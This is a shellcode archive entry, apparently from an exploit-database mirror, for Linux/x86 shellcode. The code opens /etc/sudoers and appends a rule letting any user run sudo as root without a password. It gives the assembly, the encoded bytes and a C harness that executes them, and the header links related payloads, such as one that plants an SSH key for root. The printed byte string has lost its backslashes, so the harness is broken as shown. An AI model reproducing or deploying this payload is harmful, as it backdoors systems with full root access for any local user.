[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 edit /etc/sudoers for full access 86 bytes
# Published : 2008-11-19
# Author : Rick
# Previous Title : linux/x86 append rsa key to /root/.ssh/authorized_keys2 295 bytes
# Next Title : linux/x86 setuid(0) & execve(/bin/sh,0,0) shellcode 28 bytes 


/*
Author: Rick
Email: rick2600@hotmail.com

OS: Linux/x86
Description: Anyone can run sudo without password

section .text
	global _start

_start:

	;open("/etc/sudoers", O_WRONLY | O_APPEND);
	xor eax, eax
	push eax
	push 0x7372656f 
	push 0x6475732f
	push 0x6374652f
	mov ebx, esp
	mov cx, 0x401
	mov al, 0x05
	int 0x80

	mov ebx, eax  

	;write(fd, ALL ALL=(ALL) NOPASSWD: ALLn, len);
	xor eax, eax
	push eax
	push 0x0a4c4c41
	push 0x203a4457
	push 0x53534150
	push 0x4f4e2029
	push 0x4c4c4128
	push 0x3d4c4c41
	push 0x204c4c41
	mov ecx, esp
	mov dl, 0x1c
	mov al, 0x04
	int 0x80

	;close(file)
	mov al, 0x06
	int 0x80

	;exit(0);
	xor ebx, ebx
	mov al, 0x01
	int 0x80

*/

#include <stdio.h>
#include <string.h>

char code[] =
"x31xc0x50x68x6fx65x72x73x68x2fx73x75x64"
"x68x2fx65x74x63x89xe3x66xb9x01x04xb0x05"
"xcdx80x89xc3x31xc0x50x68x41x4cx4cx0ax68"
"x57x44x3ax20x68x50x41x53x53x68x29x20x4e"
"x4fx68x28x41x4cx4cx68x41x4cx4cx3dx68x41"
"x4cx4cx20x89xe1xb2x1cxb0x04xcdx80xb0x06"
"xcdx80x31xdbxb0x01xcdx80";

void main(void) {
	
	void (*shellcode)() = code;
	shellcode();
	
}

// www.Syue.com [2008-11-19]